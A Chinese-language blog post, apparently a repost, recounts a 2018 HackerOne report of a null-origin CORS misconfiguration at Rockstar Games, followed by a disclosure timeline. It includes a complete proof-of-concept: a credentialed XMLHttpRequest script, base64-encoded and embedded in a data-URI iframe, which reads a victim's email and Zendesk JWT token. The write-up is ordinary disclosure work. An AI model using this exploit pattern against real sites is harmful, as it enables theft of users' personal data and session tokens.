利用鲜有的null源CORS

  • A+
所属分类:安全闲碎

H1报告:https://hackerone.com/reports/317391

前言

时间要追溯到2018年2月份了,正值春节,国内的SRC都在放假,于是乎去国外平台玩玩。本着柿子应该挑软的捏的原则,于是选择了R星(Rockstar Games)这个厂商。笔者挖到此漏洞的时候, 国内对于CORS翻译的文章并不多。


1

BURP大法好


经过一顿瞎操作,有点心灰意冷,没找到任何漏洞。上天总是眷顾努力又勤奋的我,burp的漏描结果里的CORS漏洞亮瞎了我的24K钛合金狗眼。


利用鲜有的null源CORS

发现主要暴露的信息有邮箱地址和zendeskJWT Toekn。


于是去网上搜索关于"null" 源的利用。发现主要有以下两种利用方式:


1. 利用302跳转

2. 用iframe配合data协议,就可以发送一个origin为null的请求。


笔者用第2种方式去演示这个漏洞


<script>    var url = "https://www.rockstargames.com/rockstarsupport2a/users/users/get-user.json";    var req = new XMLHttpRequest();    req.open('get',url,true);    req.setRequestHeader("Accept", "application/json");    req.withCredentials = true;    req.send();    req.onreadystatechange= function(){        if(req.readyState == req.DONE) {document.write(this.responseText)}       }</script>


转换成base64


PHNjcmlwdD4gdmFyIHVybCA9ICJodHRwczovL3d3dy5yb2Nrc3RhcmdhbWVzLmNvbS9yb2Nrc3RhcnN1cHBvcnQyYS91c2Vycy91c2Vycy9nZXQtdXNlci5qc29uIjsgIHZhciByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTtyZXEub3BlbignZ2V0Jyx1cmwsdHJ1ZSk7cmVxLnNldFJlcXVlc3RIZWFkZXIoIkFjY2VwdCIsICJhcHBsaWNhdGlvbi9qc29uIik7cmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7cmVxLnNlbmQoKTtyZXEub25yZWFkeXN0YXRlY2hhbmdlPSBmdW5jdGlvbigpe2lmKHJlcS5yZWFkeVN0YXRlID09IHJlcS5ET05FKSB7ZG9jdW1lbnQud3JpdGUodGhpcy5yZXNwb25zZVRleHQpfSB9PC9zY3JpcHQ+


最终利用poc:


<!DOCTYPE html><html><head>    <title>Rockstargames Get user</title></head><body>    <iframe width=100% height=100% src="data:text/html;base64,PHNjcmlwdD4gdmFyIHVybCA9ICJodHRwczovL3d3dy5yb2Nrc3RhcmdhbWVzLmNvbS9yb2Nrc3RhcnN1cHBvcnQyYS91c2Vycy91c2Vycy9nZXQtdXNlci5qc29uIjsgIHZhciByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTtyZXEub3BlbignZ2V0Jyx1cmwsdHJ1ZSk7cmVxLnNldFJlcXVlc3RIZWFkZXIoIkFjY2VwdCIsICJhcHBsaWNhdGlvbi9qc29uIik7cmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7cmVxLnNlbmQoKTtyZXEub25yZWFkeXN0YXRlY2hhbmdlPSBmdW5jdGlvbigpe2lmKHJlcS5yZWFkeVN0YXRlID09IHJlcS5ET05FKSB7ZG9jdW1lbnQud3JpdGUodGhpcy5yZXNwb25zZVRleHQpfSB9PC9zY3JpcHQ+"></body></html>


利用鲜有的null源CORS


2

时间线


2018.02.19    提交报告

2018.02.20   厂商确认漏洞

2018.03.01   赏金发放

2018.10.17    漏洞修复,H1部分公开

2021.04.21   火线Zone细节公开


3

参考


1. https://xz.aliyun.com/t/2745 CORS安全完全指南


2. https://xz.aliyun.com/t/6263  Exploiting CORS misconfigurations for Bitcoins and bounties


3. https://www.yassineaboukir.com/blog/cors-exploitation-data-exfiltration-when-allowed-origin-is-set-to-null/

利用鲜有的null源CORS

【周度激励】


火线Zone周度激励(6.14 ~ 6.20)


【相关精选文章】


【SOAR】策略实现及思考--Gitlab未授权

Apache Airflow 错误的会话验证漏洞 (CVE-2020-17526)利用


火线Zone是[火线安全平台]运营的封闭式社区,社区成员必须在[火线安全平台]提交有效漏洞才能申请免费加入,符合要求的白帽子可联系[火线小助手]加入。


我们不希望出现劣币驱逐良币的结果,我们不希望一个技术社区变成一个水区!


欢迎具备分享精神的白帽子加入火线Zone,共建一个有技术氛围的优质社区!

利用鲜有的null源CORS
利用鲜有的null源CORS


本文始发于微信公众号(火线Zone):利用鲜有的null源CORS

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: